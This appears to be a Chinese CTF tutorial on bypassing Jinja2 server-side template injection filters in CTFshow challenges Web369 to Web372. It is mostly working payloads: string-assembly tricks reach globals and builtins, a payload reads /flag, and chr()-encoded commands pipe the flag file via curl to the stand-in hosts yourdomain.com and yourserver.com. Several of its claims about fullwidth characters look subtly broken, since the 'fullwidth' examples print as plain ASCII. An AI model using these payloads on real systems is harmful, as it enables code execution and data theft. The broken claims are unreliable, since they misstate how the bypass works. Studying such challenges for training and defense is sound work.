Python全角字符在CTF SSTI绕过中的高阶应用实战
当你在CTF竞赛中遇到那些看似严丝合缝的SSTI过滤规则时,是否想过连数字和引号都能被巧妙绕过?本文将带你深入探索全角字符在模板注入中的神奇威力,从基础原理到实战技巧,手把手教你突破CTFshow系列题目的层层防御。
1. SSTI漏洞与全角字符绕过的核心原理
在深入实战之前,我们需要理解两个关键概念:为什么SSTI漏洞会产生,以及全角字符为何能成为绕过利器。
**SSTI(服务器端模板注入)**的本质是用户输入被直接拼接进模板引擎进行解析。以Flask的Jinja2为例,当开发者错误地使用render_template_string而非render_template时,攻击者就能注入模板语法。比如:
# 危险写法 - 存在SSTI漏洞
@app.route('/vuln')
def vuln():
name = request.args.get('name')
return render_template_string(f"Hello {name}")
# 安全写法
@app.route('/safe')
def safe():
return render_template('template.html', name=request.args.get('name'))
全角字符是指占据两个标准字符位置的字符,其Unicode编码比半角字符大0xFEE0。这种特性使其成为绕过WAF的绝佳选择:
| 字符类型 | 示例 | Unicode编码 | 显示效果 |
|---|---|---|---|
| 半角数字 | 1 | U+0031 | 1 |
| 全角数字 | 1 | U+FF11 | 1 |
| 半角字母 | A | U+0041 | A |
| 全角字母 | A | U+FF21 | A |
在Python中,全角字符会被正常解析为标识符的一部分。这个特性让我们可以构造出能绕过常规过滤的payload:
# 常规payload会被过滤
payload = "{{ ''.__class__ }}"
# 使用全角字符的payload
payload = "{{ ''.__class__ }}" # 点号和class为全角
2. CTFshow SSTI题目环境搭建与基础绕过
为了更好理解题目环境,我们先搭建一个模拟CTFshow的Flask应用:
from flask import Flask, request, render_template_string
app = Flask(__name__)
# Web369模拟 - 基础过滤
@app.route('/web369')
def web369():
blacklist = ['_', "'", '"', '[', ']', 'request']
name = request.args.get('name', '')
if any(b in name for b in blacklist):
return "Hacker detected!"
return render_template_string(f"Hello {name}")
if __name__ == '__main__':
app.run(debug=True)
基础绕过技巧:当常规字符被过滤时,我们可以利用:
- 属性拼接:使用
|attr()过滤器替代点号 - 字符串构造:通过字符拼接生成关键词
- 全角替代:用全角字符替换关键符号
# 传统payload
{{ ''.__class__ }}
# 绕过方案1:属性拼接
{{ ''|attr('__class__') }}
# 绕过方案2:字符串构造
{% set x = '__cla' ~ 'ss__' %}{{ ''|attr(x) }}
# 绕过方案3:全角字符
{{ ''.__class__ }}
3. Web369-372全系列高阶绕过实战
3.1 Web369:基础过滤绕过
题目过滤了request、引号、中括号等关键字符。我们可以使用lipsum全局对象的字符拼接技术:
{% set gl=(((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(10))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(7))~((lipsum|string|list).pop(40))~((lipsum|string|list).pop(31))~((lipsum|string|list).pop(19))~((lipsum|string|list).pop(27))~((lipsum|string|list).pop(18))~((lipsum|string|list).pop(18)))%}
{% print(lipsum|attr(gl)) %}
这个payload通过从lipsum字符串中提取特定位置的字符,拼接出"globals"字符串,进而获取全局对象。
3.2 Web370:数字过滤的创造性解法
当数字被过滤时,我们有以下几种解决方案:
方法一:全角数字直接替换
{% set a=(lipsum|string|list).pop(18) %} # 使用全角数字18
方法二:算术运算生成数字
{% set one=dict(a=a)|join|count %} # 1
{% set two=dict(aa=a)|join|count %} # 2
{% set ten=dict(aaaaaaaaaa=a)|join|count %} # 10
方法三:字符位置动态探测
# 定位斜杠字符的位置
{% set slash_pos=(lipsum|attr(gl)|string|list).pop(431) %}
3.3 Web371:无回显下的外带技巧
当print被过滤且无回显时,外带数据成为必要手段。以下是两种常用方法:
DNS外带示例:
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(121)%2bchr(111)%2bchr(117)%2bchr(114)%2bchr(100)%2bchr(111)%2bchr(109)%2bchr(97)%2bchr(105)%2bchr(110)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%2bchr(47)%2bchr(63)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(61)%2bchr(36)%2bchr(40)%2bchr(99)%2bchr(97)%2bchr(116)%2bchr(32)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(41) %}
{% if (lipsum|attr(gl)).get('os').popen(cmd) %}1{% endif %}
HTTP请求外带:
{% set cmd=chr(99)%2bchr(117)%2bchr(114)%2bchr(108)%2bchr(32)%2bchr(45)%2bchr(88)%2bchr(32)%2bchr(80)%2bchr(79)%2bchr(83)%2bchr(84)%2bchr(32)%2bchr(45)%2bchr(70)%2bchr(32)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(61)%2bchr(64)%2bchr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)%2bchr(32)%2bchr(104)%2bchr(116)%2bchr(116)%2bchr(112)%2bchr(58)%2bchr(47)%2bchr(47)%2bchr(121)%2bchr(111)%2bchr(117)%2bchr(114)%2bchr(115)%2bchr(101)%2bchr(114)%2bchr(118)%2bchr(101)%2bchr(114)%2bchr(46)%2bchr(99)%2bchr(111)%2bchr(109)%2bchr(47)%2bchr(114)%2bchr(101)%2bchr(99)%2bchr(101)%2bchr(105)%2bchr(118)%2bchr(101) %}
3.4 Web372:终极过滤的突破之道
当遇到最严格的过滤规则时,我们需要组合多种技巧:
- 全角字符全面替换
length替代count- 多阶段payload构造
{% set a=(lipsum|string|list).pop(24) %}
{% set gl=(a,a,dict(globals=b)|join,a,a)|join %}
{% set bu=(a,a,dict(builtins=b)|join,a,a)|join %}
{% set chr=((lipsum|attr(gl)).get(bu).chr) %}
{% set flag=(chr(47)%2bchr(102)%2bchr(108)%2bchr(97)%2bchr(103)) %}
{% print((lipsum|attr(gl)).get(bu).open(flag).read()) %}
4. 自动化工具与防御建议
4.1 全角字符转换工具
以下Python脚本可将常规payload转换为全角版本:
def to_fullwidth(s):
result = []
for char in s:
code = ord(char)
if 33 <= code <= 126: # 可显示ASCII字符
result.append(chr(code + 0xFEE0))
elif code == 32: # 空格特殊处理
result.append(chr(0x3000))
else:
result.append(char)
return ''.join(result)
payload = "{{ ''.__class__ }}"
print(to_fullwidth(payload)) # 输出:{{ ''.__class__ }}
4.2 防御SSTI的最佳实践
- 永远不要使用
render_template_string处理用户输入 - 严格的输入过滤:
from jinja2 import escape def safe_input(input_str): blacklist = ['{{', '}}', '{%', '%}', '_', '|attr', 'request'] if any(b in input_str for b in blacklist): raise ValueError("Invalid input") return escape(input_str) - 使用沙盒环境:
from jinja2.sandbox import SandboxedEnvironment env = SandboxedEnvironment() - 内容安全策略(CSP):限制外部资源加载
在CTF竞赛中,SSTI题目往往考察的是对各种过滤规则的创造性绕过。全角字符只是众多绕过手段中的一种,真正的高手会灵活组合多种技术,根据题目特点定制解决方案。记住,理解原理比记忆payload更重要,这才是成为安全专家的正确路径。
&spm=1001.2101.3001.5002&articleId=155385488&d=1&t=3&u=550b2ac46b3c496db61b9a683be60196)
516

被折叠的 条评论
为什么被折叠?



